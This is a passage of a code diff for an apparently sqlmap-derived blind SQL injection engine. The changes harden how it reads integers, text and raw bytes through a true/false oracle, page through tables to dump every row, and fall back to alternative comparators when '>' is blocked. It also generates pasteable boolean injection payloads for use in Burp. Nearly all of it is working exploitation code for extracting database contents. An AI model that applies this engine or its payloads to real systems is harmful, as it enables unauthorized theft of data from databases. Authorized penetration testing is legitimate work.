res = self.extractResult(ke) # never page on a partial/unverified key bound
if res.is_null: # MIN over empty set -> genuinely done
break
if not res.complete: # incomplete key can't be a reliable bound
ok = False
self.dialect.notes.append("dump %s: incomplete key read -> stopped (partial)" % table)
break
key = res.value # '' is a VALID (single, unique) key row, not a terminator
if key is None or key == prev: # None = done; == prev = paging stuck (safety)
break
bound = key if unit == "int" else boundfn(key)
row, valid = readrow("%s=%s" % (keyexpr, bound))
@ -483,8 +629,15 @@ class _Enumeration(object):
prev = key
keys.append(key) # for order-free NOT IN() paging
else: # value keyset (distinct rows only)
ok = False # exact-duplicate rows collapse
self.dialect.notes.append("dump %s: no key/row-id, value-keyset walk (duplicate rows collapse)" % table)
ok = False
# ACCURATE loss report: a framed page-key is the whole-row tuple, so only
# fully-identical rows collapse; a bare first-column page-key collapses every
# row that merely shares column 1 (much lossier) - say which, don't blur it
# also: MIN() never selects a NULL page-key, so rows with a NULL in the page
# column are unreachable by this walk - call that out too (not just collapse)
loss = "identical rows collapse" if framed else \
"rows sharing column '%s' collapse, and rows with a NULL there are unreachable" % cols[0]
self.dialect.notes.append("dump %s: no key/row-id, value-keyset walk (%s)" % (table, loss))
pageexpr = payload if framed else self.quoteIdent(cols[0])
# the framed page-key is text; a bare first-column page-key may be numeric,
# and a numeric column MUST be read via extractInteger + a numeric bound - a
@ -509,9 +662,14 @@ class _Enumeration(object):
pv = self.extractInteger("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, pv)) if pv is not None else (None, False)
else: # page on the first (text) column, read cells under it
pv = self.extract("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, self.buildLiteral(pv))) if pv else (None, False)
if pv is None or pv == "" or pv == prev or not valid:
kr = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
if kr.is_null: # MIN over empty set -> done
break
if not kr.complete: # incomplete page bound -> can't page reliably, stop
break
pv = kr.value # '' is a valid first-column value, not a terminator
row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, self.buildLiteral(pv)))
if pv is None or pv == prev or not valid:
break
rows.append(row)
self._emit(", ".join("NULL" if c is None else c for c in row))
@ -524,16 +682,102 @@ class _Enumeration(object):
# bogus key that overflows extractInteger stops the walk with partial rows
self.dialect.notes.append("dump %s stopped early (oracle undecided / bad key)" % table)
ok = False
# complete only if every row extracted cleanly AND we got them all
# TWO independent dimensions: `complete` = COVERAGE (every row, extracted cleanly);
# `exact` = CONTENT integrity (the recovered bytes are provably the source's). A dump can
# cover every row yet hold case/accent-ambiguous cells when the dialect has no byte-exact
# primitive (no hex/binary, not code-codepoint) - callers must surface that, not hide it.
complete = ok and expected is not None and len(rows) == expected
return {"columns": cols, "rows": rows, "complete": complete, "keyed_by": keyed_by}
exact = bool(self._byteFaithful())
# EFFECTIVE decode codec (same evidence _splitRow uses): a proven hex encoding OR the
# discovered charset. Non-ASCII text is provably exact only when that codec is KNOWN -
# using the same field for decode AND for the exact verdict, so a proven-utf-8 dump is
# NOT falsely inexact, and a decode that fell back to a guess is NOT falsely exact.
effenc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
note = None
if rows and not exact:
note = ("dump %s: values recovered via a collation-dependent comparison "
"(no byte-exact primitive) - case/accents may be inexact" % table)
elif exact and self.dialect.hexfn is not None and not effenc and self._hasNonAscii(rows):
# bytes are faithful (hex), but with no PROVEN codec the TEXT reading of non-ASCII
# cells is a guess (utf-8 vs a single-byte codepage) -> content is not provably exact
exact = False
note = ("dump %s: non-ASCII values decoded under an undetermined character set "
"- text may be inexact" % table)
elif exact and self.dialect.textcast and not self._castPreservesAccents():
# bytes are faithful, but they are the output of a text cast NOT proven to preserve a
# canary accented char -> a narrowing cast may have folded unrepresentable chars to "?"
# at equal length (invisible to the length witness AND to a non-ASCII scan of the
# ALREADY-folded output) -> content is not provably source-exact
exact = False
note = ("dump %s: values extracted through a text cast not proven to preserve accented "
"characters (possible lossy/narrowing cast) - content is not provably "
"source-exact" % table)
if note:
self.dialect.notes.append(note)
return {"columns": cols, "rows": rows, "complete": complete, "exact": exact, "keyed_by": keyed_by}
@staticmethod
def _hasNonAscii(rows):
return any(any(ord(ch) > 127 for ch in v) for row in rows for v in row
if isinstance(v, type(u"")))
def _castPreservesAccents(self):
# The framed dump routes every column through the discovered text cast. A NARROWING cast
# (Unicode source -> codepage target) substitutes an unrepresentable char ("e"-acute ->
# "?") WITHOUT changing the character count, so neither the length witness nor the hex
# decode can catch it - the "?" is faithfully hexed and reported as exact. Confirm the
# cast preserves a canary accented char (built server-side from its code point, so no raw
# byte crosses the transport): if CAST(canary)=canary holds, representable accents survive;
# if it folds, the cast is lossy and non-ASCII content is not source-exact. Server-side
# equality (not a client decode) sidesteps CHAR() byte-vs-codepoint quirks. Cached;
# conservative (False) when a cast is applied but the canary can't be built/decided.
if self._castPreserves is None:
if not self.dialect.textcast:
self._castPreserves = True # no cast applied -> nothing to fold
elif (self.dialect.charset or "").replace("-", "").lower().startswith("utf"):
# the cast targets the (Unicode) connection/DB charset, which represents EVERY code
# point -> no source char can fold. This is a PROOF (not a per-value guess): a
# utf-8/16 target cannot substitute an unrepresentable char.
self._castPreserves = True
else:
# an unproven cast must NOT certify source identity: default False, promote only on
# a successful preservation probe. The canary needs a TRUE-codepoint constructor - a
# byte-based CHAR() (MySQL) yields the two bytes of U+20AC, not the euro char, so it
# cannot probe a fold; without one the cast stays unproven (conservatively inexact).
self._castPreserves = False
cf = self._codeCharTmpl()
if cf and self.dialect.length:
euro = cf.format(code=0x20AC)
ch = cf.format(code=0xE9) # "e"-acute
try:
with self._probePhase():
if self._ask("(%s)=1" % self._len(euro)): # constructor => one codepoint
self._castPreserves = self._ask(
"(%s)=(%s)" % (self.dialect.textcast[1].format(expr=ch), ch))
except OracleUndecided:
pass
return self._castPreserves
def poc(self, expr, position=1, gt=64):
"""Emit a clean, pasteable boolean payload for ONE probe (the exploitation
primitive), so a tester can drop it into Burp without re-running discovery."""
one = self._sub(expr, position, 1)
if self.dialect.compare == "code" and self.dialect.charcode:
return "%s>%d" % (self.dialect.charcode[1].format(expr=one), gt)
# numeric code comparison -> render through the DISCOVERED comparator, so the PoC
# works on the very target where '>' was blocked (BETWEEN / operator-free rung)
code = self.dialect.charcode[1].format(expr=one)
if self._comparator == "gt":
return "%s>%d" % (code, gt)
if self._comparator == "between":
return "%s BETWEEN %d AND %d" % (code, gt + 1, 1 << 62)
if self._cmpTemplate is not None:
return self._cmpTemplate.format(expr=code, n=gt)
raise RuntimeError("ordered PoC unavailable: membership comparator has no '>' form")
# hex / collation / ordinal compare strings or wrapped values with '>'; if '>' was
# blocked (comparator isn't 'gt') there is NO equivalent renderer for these text modes
# -> refuse rather than emit a predicate the target already rejected.
if self._comparator != "gt":
raise RuntimeError("ordered PoC unavailable: '>' blocked and %s mode has no operator-free form" % self.dialect.compare)
if self.dialect.compare == "hex" and self.dialect.hexfn:
return "%s>'%02X'" % (self.dialect.hexfn[1].format(expr=one), gt)
if self.dialect.compare == "collation" and self.dialect.binwrap:
@ -567,7 +811,14 @@ class _Enumeration(object):
charfrom=(d.charfrom[1] if d.charfrom else None),
concat=(d.concat[1] if d.concat else None),
identquote=(d.identQuote if d.identQuote and d.identQuote is not False else None),
backslash=bool(self._backslashEscape))
backslash=bool(self._backslashEscape),
comparator=self._comparator, cmp_template=self._cmpTemplate,
# carry the byte-exact witness so the host mirrors the native EXACT/AMBIGUOUS verdict
# (plain '='/collation is not byte-exact; only proven hex / binary / codepoint is)
exact_witness=("hex" if d.hexfn is not None else
"binary" if (d.binwrap is not None and d.binwrap.get("byte_exact")) else
"codepoint" if (d.compare == "code" and d.charcode is not None
and d.charcode.get("semantics") == "codepoint") else None))
def enumerateBulk(self, kind, maxchars=4096, encoding=None):
"""One-shot full dump: aggregate the whole column into one delimited string
@ -581,15 +832,31 @@ class _Enumeration(object):
col, src, where = self._source(kind)
# independent COUNT FIRST - so a single empty-string row isn't mistaken for
# an empty catalog (the aggregate of one '' can look like no rows)
expected = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s%s)" % (col, src, where))
try:
expected = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s%s)" % (col, src, where))
except OverflowError: # huge count -> unknown, not a failure
expected = None
if expected == 0:
return BulkResult([], expected=0, complete=True)
if not self._ensureHexfn(): # delimiter safety needs hex
self.dialect.notes.append("bulk %s: no hex framing - use enumerateKeyset" % kind)
if not self._ensureHexfn() or not self.dialect.concat: # bulk framing needs BOTH hex and concat
self.dialect.notes.append("bulk %s: no hex/concat framing - use enumerateKeyset" % kind)
return None
# 'V'-prefix each non-NULL token so an empty string is 'V' (distinct from a
# NULL aggregate over zero rows)
aggcol = self.dialect.concat[1].format(a="'V'", b=self.dialect.hexfn[1].format(expr=col))
# frame each value as V<hex>; - 'V' distinguishes an empty string from a NULL
# aggregate over zero rows, and the ';' TERMINAL MARKER (absent from the hex alphabet
# and the ',' separator) proves the token is WHOLE: a server-side aggregate output
# limit truncates the FINAL token, dropping its ';', so the truncated token is caught
# instead of a shorter-but-still-valid-hex value silently counting as one item.
encoding = encoding or (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
# frame each value as V<charlen>:<hex>; when a length fn exists: the ';' catches aggregate
# truncation (final token loses it) AND the independent <charlen> catches a capped/lossy HEX
# that shortened the VALUE (decoded chars != declared) - which the terminal marker alone
# (round 5) missed because a shortened even-length hex is still valid+terminated.
lenframed = bool(self.dialect.length and self.dialect.textcast)
if lenframed:
lenstr = self.dialect.textcast[1].format(expr=self._len(col))
aggcol = self._concatMany(["'V'", lenstr, "':'", self.dialect.hexfn[1].format(expr=col), "';'"])
else:
aggcol = self._concatMany(["'V'", self.dialect.hexfn[1].format(expr=col), "';'"])
if self.dialect.bulkAgg is None:
self.dialect.bulkAgg = self._discoverBulkAgg(aggcol, src, where)
if not self.dialect.bulkAgg:
@ -602,16 +869,30 @@ class _Enumeration(object):
tokens = joined.split(",")
if res.truncated and tokens: # last token may be partial
tokens = tokens[:-1]
names, seen = [], set()
names, seen, aggtruncated = [], set(), False
for t in tokens:
if not t.startswith("V"):
if not (t.startswith("V") and t.endswith(";")): # missing terminal marker
aggtruncated = True # aggregate truncated this token -> drop, flag
continue
v = self._decodeHexToken(t[1:], encoding)
if v is not None and v not in seen: # dedupe (non-unique columns repeat)
seen.add(v)
names.append(v)
complete = (not res.truncated) and expected is not None and len(names) == expected
if expected is not None and len(names) != expected:
body = t[1:-1] # strip 'V' prefix and ';' terminator
declared = None
if lenframed:
lenpart, sep, hexpart = body.partition(":")
if sep != ":" or not lenpart.isdigit():
aggtruncated = True # malformed length prefix -> truncated token
continue
declared, body = int(lenpart), hexpart
v = self._decodeHexToken(body, encoding)
if v is not None and (declared is None or len(v) == declared): # independent length witness
if v not in seen: # dedupe (non-unique columns repeat)
seen.add(v)
names.append(v)
elif v is not None: # decoded but length mismatch -> a capped hex shortened it
aggtruncated = True
complete = (not res.truncated) and (not aggtruncated) and expected is not None and len(names) == expected
if aggtruncated:
self.dialect.notes.append("bulk %s: aggregate output truncated (token lost its terminal marker)" % kind)
elif expected is not None and len(names) != expected:
self.dialect.notes.append("bulk %s: got %d of %d (incomplete)" % (kind, len(names), expected))
return BulkResult(names, expected=expected, complete=complete)

View file

@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
import binascii
from .atlas import _FREQ_ORDER
from .atlas import _hardWarnings
from .atlas import _HEX_Q_ENCODINGS
from .atlas import _HEXDIGITS
from .atlas import _HEXFN
@ -22,6 +23,8 @@ from .atlas import _unhexlify
from .atlas import _unichr
from .records import Cap
from .records import ExtractResult
from .records import NumericOutOfRange
from .records import OracleUndecided
class _Extraction(object):
@ -88,8 +91,12 @@ class _Extraction(object):
return 0, False
if ceiling < 1: # non-empty value but capped to nothing (maxlen=0)
return 0, True
n = self._readNum(lexpr, 1, ceiling)
return n, n >= ceiling # at the cap -> treat as (possibly) truncated
try:
n = self._readNum(lexpr, 1, ceiling)
except NumericOutOfRange: # length exceeds the cap -> truncated, not a small value
return ceiling, True
return n, False # _readNum PROVED n<=ceiling (raises above), so exact-at-cap
# is COMPLETE, not truncated - overflow is the exception above
def valueLength(self, expr):
length, truncated = self._measureLength(expr)
@ -142,40 +149,50 @@ class _Extraction(object):
return self._ask("(%s) IS NOT NULL" % expr)
def _readNum(self, expr, lo, hi):
# bounded numeric read in [lo, hi]. ordered comparators bisect (exponential
# first so a small value in a big range stays cheap); the order-free path
# scans fixed windows then IN-bisects inside the hit window (IN lists bounded).
if self._comparator != "membership":
low, high = lo, min(max(lo, 8), hi)
while high < hi and self._gtNum(expr, high, hi):
low, high = high + 1, min(high * 2, hi)
while low < high:
mid = (low + high) // 2
if self._gtNum(expr, mid, hi):
low = mid + 1
else:
high = mid
return low
if self._inOk:
window = 128
base = lo
while base <= hi:
win = list(range(base, min(base + window, hi + 1)))
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in win))):
while len(win) > 1:
half = win[:len(win) // 2]
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in half))):
win = half
else:
win = win[len(win) // 2:]
return win[0]
base += window
return hi
# no ordered op and no IN: plain '=' scan (bounded by hi; small values first)
for v in range(lo, hi + 1):
if self._ask("%s=%d" % (expr, v)):
return v
return hi
"""Bounded numeric read in [lo, hi]. PROVES the value lies in range before
bisecting - a bounded search must never invent an in-range boundary ('>'
saturates to `hi`, BETWEEN converges to a wrong SMALL value) - so an
out-of-range value raises NumericOutOfRange for the caller to classify
(length -> truncated, integer -> overflow) instead of returning wrong data."""
if self._comparator == "membership":
if self._inOk:
window = 128
base = lo
while base <= hi:
win = list(range(base, min(base + window, hi + 1)))
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in win))):
while len(win) > 1:
half = win[:len(win) // 2]
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in half))):
win = half
else:
win = win[len(win) // 2:]
return win[0]
base += window
raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi))
for v in range(lo, hi + 1): # no ordered op and no IN: '=' scan
if self._ask("%s=%d" % (expr, v)):
return v
raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi))
# ordered comparators (gt / between / operator-free rung): prove range first
if self._comparator == "between":
if not self._ask("%s BETWEEN %d AND %d" % (expr, lo, hi)):
raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi))
else: # gt or operator-free rung ('>' semantics)
if self._gtNum(expr, hi, hi):
raise NumericOutOfRange("%s > %d" % (expr, hi))
if not self._gtNum(expr, lo - 1, hi): # expr <= lo-1 -> below range (any sign of lo)
raise NumericOutOfRange("%s < %d" % (expr, lo))
low, high = lo, min(max(lo, 8), hi) # exponential climb keeps small values cheap
while high < hi and self._gtNum(expr, high, hi):
low, high = high + 1, min(high * 2, hi)
while low < high:
mid = (low + high) // 2
if self._gtNum(expr, mid, hi):
low = mid + 1
else:
high = mid
return low
def _bisectCodes(self, code, codes):
# ordered bisection over a sorted code list (restricted alphabet)
@ -255,8 +272,8 @@ class _Extraction(object):
with self._probePhase(): # wrong rungs (e.g. HEX() on PostgreSQL) error -> "unusable", not undecided
for name, tmpl in _HEXFN:
enc = self._hexEncoding(tmpl)
if enc:
self.dialect.hexfn = Cap(name, tmpl, encoding=enc)
if enc is not None: # '' = usable, codec unknown (auto-detect)
self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None))
break
return self.dialect.hexfn
@ -266,9 +283,33 @@ class _Extraction(object):
# AND track the char (a DIFFERENT value for 'p'), so a constant can't match.
hq = tmpl.format(expr=self._sub("'sqlmap'", 2, 1)) # 'q'
hp = tmpl.format(expr=self._sub("'sqlmap'", 6, 1)) # 'p'
cf = self._codeCharTmpl()
for form, enc in _HEX_Q_ENCODINGS:
if self._ask("%s='%s'" % (hq, form)) and not self._ask("%s='%s'" % (hp, form)):
return enc
if not (self._ask("%s='%s'" % (hq, form)) and not self._ask("%s='%s'" % (hp, form))):
continue
# BYTE length-preservation, via the INDEPENDENT length fn (not the hex fn certifying
# itself). A LONG probe is required: a short sample passes any large-enough fixed cap,
# so an 8/64/255-byte-capped hex fn would slip through. No usable length measure ->
# do NOT certify whole-value hex output.
bpc = 2 if "16" in enc else 1
probe = "A" * 256
if not self._lenEquals(tmpl.format(expr="'%s'" % probe), len(probe) * bpc * 2):
continue
# PROVE the codec on a NON-ASCII char (EUR 0x20AC): 'q'->'71' is ASCII-compatible in
# MANY encodings (CP1252/Latin-1/Shift-JIS/GBK/...), NOT just UTF-8, so the 'q' match
# alone can't certify UTF-8. Confirm with EUR; if it can't be proven the codec is
# UNKNOWN ('' -> decode auto-detects) - the bytes are still FAITHFUL (length probe
# passed), so the hex fn stays USABLE; it is NOT rejected (that would drop to a
# byte-based mode that mangles multibyte). None means only 'no working hex fn'.
if cf:
eur = tmpl.format(expr=cf.format(code=0x20AC))
want = {"utf-8": "e282ac", "utf-16-be": "20ac", "utf-16-le": "ac20"}.get(enc)
if want and self._ask("LOWER(%s)='%s'" % (eur, want)):
return enc
return "" # ASCII-compatible, codec unproven: usable, auto-detect decode
return "" # no char-from-code fn to PROVE the codec: '71'->q is ASCII-
# compatible in many charsets (CP1252/Latin-1/SJIS/...), so it
# is UNKNOWN, not UTF-8 - usable for bytes, not authoritative text
return None
def _escalate(self, one, pos):
@ -425,14 +466,21 @@ class _Extraction(object):
return length_ok and self._ask("%s IS NOT NULL" % self._sub(expr, 1, 1))
def _resolveText(self, expr):
# if the expression isn't directly substringable (e.g. a numeric/date column
# on a strict engine), wrap it in the discovered text cast
if self._textable(expr):
return expr
if self.dialect.textcast is not None and self._ask("%s IS NOT NULL" % expr):
casted = self.dialect.textcast[1].format(expr=expr)
if self._textable(casted):
return casted
# if the expression isn't directly substringable (e.g. a numeric/date column on a
# strict engine, or PG's `tid`/ctid which has no LENGTH), wrap it in the discovered
# text cast. probe-safe: an ERRORING length/substring probe here (LENGTH(tid) does
# not exist) means "not directly textable" -> fall through to the cast, never fatal.
with self._probePhase():
if self._textable(expr):
return expr
if self.dialect.textcast is not None:
casted = self.dialect.textcast[1].format(expr=expr)
# use the cast when it makes a NON-NULL value textable; if the value is
# currently NULL the cast is STILL correct (LENGTH may not even exist for the
# raw type, e.g. PG tid) - returning raw there errors on LENGTH(tid) instead
# of yielding a clean is_null, so prefer the cast in the NULL case too
if self._textable(casted) or self._ask("(%s) IS NULL" % expr):
return casted
return expr
def coalesce(self, expr, fallback="''"):
@ -481,37 +529,82 @@ class _Extraction(object):
if limit is not None and limit < length:
truncated = True # a bounded prefix of a longer value
length = limit
value = "" if length == 0 else "".join(self._readChar(expr, i, codes) for i in range(1, length + 1))
if length == 0:
value = ""
else:
chars = []
for i in range(1, length + 1):
chars.append(self._readChar(expr, i, codes))
self._emitChar("".join(chars), length) # live progress: user sees it working
value = "".join(chars)
warns = ["contains unresolved char"] if _REPL in value else []
if self.dialect.compare == "equality-ci":
warns.append("lossy equality collation: case/accents ambiguous")
complete = not truncated and not warns
complete = not truncated and not _hardWarnings(warns) # soft (case/accent) keeps complete
# a length fn can stop at an embedded NUL, yielding a convincing short prefix.
# ALWAYS verify the WHOLE reconstructed value once - _exactEquals uses the
# strongest available comparator (hex > binary wrapper > plain equality); even
# plain equality catches a NUL-truncated prefix. recover via hex on mismatch.
# (_verify=False on the internal hex-string pull to avoid re-entry.)
if _verify and complete and not self._exactEquals(expr, self._lit(value)):
# escalate to hex when the code/ordinal read is UNTRUSTWORTHY: a complete value that fails
# whole-value verify (NUL-truncated / wrong), OR one carrying unresolved chars (_REPL) - a
# code fn lossy for this column's type (e.g. Oracle NVARCHAR2 read in code mode) marks
# chars outside its alphabet, yet the cast+hex path recovers them cleanly.
if _verify and (_REPL in value or (complete and not self._exactEquals(expr, self._lit(value)))):
recovered = self._extractViaHex(expr, q0)
if recovered is not None:
return recovered
complete = False
warns.append("whole-value verification failed")
if complete: # verify failed and no hex recovery -> demote
complete = False
warns.append("whole-value verification failed")
# a value can be EXACT only if a BYTE-FAITHFUL witness backs it: plain SQL '=' and
# collation/ordinal ordering are collation-dependent (accent/case/width folding), so
# without a proven hex/binary witness (or code-mode codepoint reads) the recovered
# bytes are NOT provably the source's - downgrade to WHOLE_BUT_AMBIGUOUS, never EXACT.
if _verify and value and complete and not self._byteFaithful():
warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness")
return ExtractResult(value, complete=complete, truncated=truncated,
queries=self._queries - q0, warnings=warns)
def _byteFaithful(self):
# is a BYTE-EXACT primitive available to certify a recovered value? a proven hex fn or a
# binary-compare wrapper is; plain '='/collation is not. Code mode with PROVEN codepoint
# semantics reads true code points, so it is faithful on its own.
if self.dialect.hexfn is not None:
return True
if self.dialect.binwrap is not None and self.dialect.binwrap.get("byte_exact"):
return True # only a PROVEN byte-exact wrapper (accents tested) counts
return (self.dialect.compare == "code" and self.dialect.charcode is not None
and self.dialect.charcode.get("semantics") == "codepoint")
def _extractViaHex(self, expr, q0=None):
# recover a full text value through strict hex extraction, or None
if not self._ensureHexfn():
return None
q0 = self._queries if q0 is None else q0
res = self.extractResult(self.dialect.hexfn[1].format(expr=expr),
# route through the text cast, exactly as the framed dump does: a column whose STORAGE
# charset differs from the DB charset - e.g. Oracle NVARCHAR2 (UTF-16 national charset) -
# hexes to bytes the DB-charset decode garbles; casting to the DB char type first
# normalizes it (VARCHAR2 == DB charset), so the decode matches the discovered codec.
hexpr = self.dialect.textcast[1].format(expr=expr) if self.dialect.textcast else expr
res = self.extractResult(self.dialect.hexfn[1].format(expr=hexpr),
_ceiling=self.maxbytes * 2, _verify=False)
if res.is_null:
return ExtractResult(None, is_null=True, complete=True, queries=self._queries - q0)
if res.value is None or not res.complete or res.truncated or res.warnings:
return None
dec = self._decodeHexToken(res.value)
enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
# UNKNOWN codec + non-ASCII bytes: the TEXT reading is a GUESS (e.g. UTF-8 bytes with an
# embedded NUL get heuristically read as UTF-16), so it must NOT be certified exact. Bytes
# are faithful (they'd round-trip), but only a PROVEN codec makes the decoded text exact.
if enc is None:
try:
rawb = bytearray(_unhexlify(res.value))
except (TypeError, ValueError, binascii.Error, UnicodeError):
return None
if any(b >= 0x80 for b in rawb):
return None # non-ASCII under an unproven codec -> not exact
dec = self._decodeHexToken(res.value, enc)
if dec is None:
return None
return ExtractResult(dec, complete=True, queries=self._queries - q0,
@ -529,49 +622,60 @@ class _Extraction(object):
def extractInteger(self, expr, maximum=None):
"""Extract a (possibly signed) integer by range-bounded bisection - avoids
stringifying and reading digit-by-digit."""
stringifying and reading digit-by-digit. EVERY numeric decision renders through
`_gtNum` (the discovered comparator: gt / BETWEEN / operator-free rung), so it
never emits a raw '>='/'<'/'>' discovery did not validate, and an operator-free
rung keeps FULL signed range (not the membership magnitude ceiling)."""
cap = maximum if maximum is not None else 1 << 62
if self._comparator != "gt":
# BETWEEN / order-free IN(): read the non-negative magnitude (counts,
# lengths - the only integers enumeration needs). ceil bounds the
# order-free window scan; hitting it overflows rather than saturating.
if not self._numDefined(expr):
return None
ceil = cap if self._comparator == "between" else min(cap, 1 << 16)
n = self._readNum(expr, 0, ceil)
if n >= ceil and ceil < cap:
if not self._numDefined(expr):
return None
if self._comparator == "membership":
# no ordered comparator at all: read the non-negative magnitude (counts /
# lengths) via the bounded IN/scan window; out-of-range -> overflow.
ceil = min(cap, 1 << 16)
try:
return self._readNum(expr, 0, ceil)
except NumericOutOfRange:
raise OverflowError("integer exceeds maximum %d" % ceil)
return n
if not self._ask("%s>=0" % expr):
if not self._ask("%s<0" % expr):
return None # NULL or non-numeric
if self._ask("%s<%d" % (expr, -cap)): # symmetric: negative side capped too
# ordered comparator: bracket the value with `expr > n` probes then bisect the
# transition. The `high` arg to _gtNum MUST exceed any possible value (BETWEEN renders
# `expr BETWEEN n+1 AND high`; using `cap` there made every over-cap positive read as
# an empty range -> misclassified NEGATIVE, reporting "below minimum" for an above-max
# value). Use HUGE as the range ceiling everywhere; `cap` is only the overflow threshold.
HUGE = 1 << 62
if self._gtNum(expr, -1, HUGE): # expr > -1 <=> expr >= 0 (any magnitude)
if self._gtNum(expr, cap, HUGE): # expr > cap -> ABOVE maximum
raise OverflowError("integer exceeds maximum %d" % cap)
lo, hi = -1, 1
while hi < cap and self._gtNum(expr, hi, HUGE):
lo, hi = hi, min(hi * 2 + 1, cap)
else: # not in [0, HUGE]
# BETWEEN's sign test caps at HUGE, so a positive value ABOVE HUGE also lands here.
# distinguish it from a genuine negative before reporting a direction (a gt/operator-
# free sign test is unbounded, so its else-branch is truly negative and skips this).
if self._comparator == "between" and not self._ask("(%s) BETWEEN %d AND %d" % (expr, -HUGE, -1)):
raise OverflowError("integer magnitude exceeds representable range (+/-%d), direction unknown" % HUGE)
if not self._gtNum(expr, -cap - 1, HUGE): # expr <= -cap-1 -> BELOW minimum
raise OverflowError("integer below minimum -%d" % cap)
hi = -1
lo = -2
while self._ask("%s<%d" % (expr, lo)):
hi = lo
lo *= 2
while lo < hi:
mid = -((-lo + -hi) // 2) # ceil toward zero
if self._ask("%s<%d" % (expr, mid)):
hi = mid - 1
else:
lo = mid
return lo
lo, hi = 0, 1
while hi < cap and self._ask("%s>%d" % (expr, hi)):
lo = hi + 1
hi = min(hi * 2 + 1, cap)
if hi == cap and self._ask("%s>%d" % (expr, cap)):
raise OverflowError("integer exceeds maximum %d" % cap) # never saturate silently
while lo < hi:
hi, lo = -1, -2
while lo > -cap and not self._gtNum(expr, lo, HUGE):
hi, lo = lo, lo * 2
lo = max(lo, -cap - 1)
# invariant: expr > lo is True, expr > hi is False -> value is the transition in (lo, hi]
while hi - lo > 1:
mid = (lo + hi) // 2
if self._ask("%s>%d" % (expr, mid)):
lo = mid + 1
if self._gtNum(expr, mid, HUGE):
lo = mid
else:
hi = mid
return lo
# FINAL INDEPENDENT CHECK: bisection trusts the comparator, which is only PROVEN on
# integer literals - a backend/WAF that honours '>' on literals but rewrites it (e.g. to
# '>=') for scalar-subquery / fn / arithmetic operands would converge off-by-one. Confirm
# the result with a direct equality against the ACTUAL expression; if it isn't decisively
# true the read is invalid -> fail closed (never return a silently-wrong count/length/id).
if not self._ask("(%s)=%d" % (expr, hi)):
raise OracleUndecided("integer read failed final equality check: (%s) != %d" % (expr, hi))
return hi
def extractBytes(self, expr):
"""Extract the exact bytes of a string/blob expression via a hex function.
@ -592,9 +696,23 @@ class _Extraction(object):
if len(hexstr) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in hexstr):
return None
try:
return _unhexlify(hexstr)
raw = _unhexlify(hexstr)
except (TypeError, ValueError, binascii.Error, UnicodeError):
return None
# INDEPENDENT witness: if a byte-length fn was discovered, confirm the recovered byte
# count matches it (measured by a DIFFERENT primitive than hex) - so a capped/lossy hex
# that silently shortened the value is caught rather than passed off as "the exact bytes".
if self.dialect.bytelen is not None:
# FAIL CLOSED: once a byte-length witness is selected for certification, an undecided
# or mismatched reading means we CANNOT confirm the bytes are whole -> reject, never
# treat "couldn't verify" as "matched".
try:
expected = self.extractInteger(self.dialect.bytelen[1].format(expr=expr))
except (OracleUndecided, OverflowError):
return None
if expected is None or expected != len(raw):
return None
return raw
def extractText(self, expr, encoding="utf-8", errors="replace"):
"""Extract bytes then decode with a caller-chosen encoding - the reliable
@ -606,22 +724,23 @@ class _Extraction(object):
return self.extract(expr)
return raw.decode(encoding, errors)
def _likePat(self, prefix_singles, ch, trailing):
# build a LIKE/GLOB/SIMILAR-TO pattern literal: `single`*before + one literal
# char + `single`*after. only `ch` may be special, escaped if so.
def _likePat(self, prefix_singles, ch, trailing, trailing_multi=False):
# build a LIKE/GLOB/SIMILAR-TO pattern literal: `single`*before + one literal char +
# `single`*after (+ a trailing multi-wildcard when the value CONTINUES past what we
# read - a truncated prefix, from limit< length or length> maxlen). Without that
# multi the pattern demands an EXACT length and can't match the longer source -> every
# char would come back unresolved. only `ch` may be special, escaped if so.
p = self.dialect.prefix
multi, single = p.get("multi"), p.get("single")
tail = single * trailing + (multi if trailing_multi else "")
body = single * prefix_singles
if p.name == "GLOB" and ch in (multi, single, "["):
body += "[%s]" % ch # GLOB escapes via a char class
return body + (single * trailing), ""
return body + "[%s]" % ch + tail, "" # GLOB escapes via a char class
# SIMILAR TO shares %/_ with LIKE but also has regex metachars; LIKE has only %/_
special = _SIMILAR_META if p.name == "SIMILAR TO" else (multi, single)
if ch in special:
body += "\\" + ch # escape via ESCAPE '\'
return body + (single * trailing), " ESCAPE '\\'"
body += ch.replace("'", "''")
return body + (single * trailing), ""
return body + "\\" + ch + tail, " ESCAPE '\\'" # escape via ESCAPE '\'
return body + ch.replace("'", "''") + tail, ""
def _likeIs(self, expr, pattern, esc):
return self._ask("(%s) %s '%s'%s" % (expr, self.dialect.prefix.name, pattern, esc))
@ -642,6 +761,10 @@ class _Extraction(object):
# largest n that still matches (keep a known-true lower bound; the exponential
# must NOT advance lo past the true region)
ge = lambda n: self._likeIs(expr, single * n + multi, "")
if self.maxlen < 1: # capped to nothing: non-empty but unread
return ExtractResult("", complete=False, truncated=True,
queries=self._queries - q0,
warnings=["maxlen<1: value not read"])
hi = 1
while hi < self.maxlen and ge(hi):
hi = min(hi * 2, self.maxlen)
@ -650,14 +773,18 @@ class _Extraction(object):
mid = (lo + hi + 1) // 2
lo, hi = (mid, hi) if ge(mid) else (lo, mid - 1)
length = lo
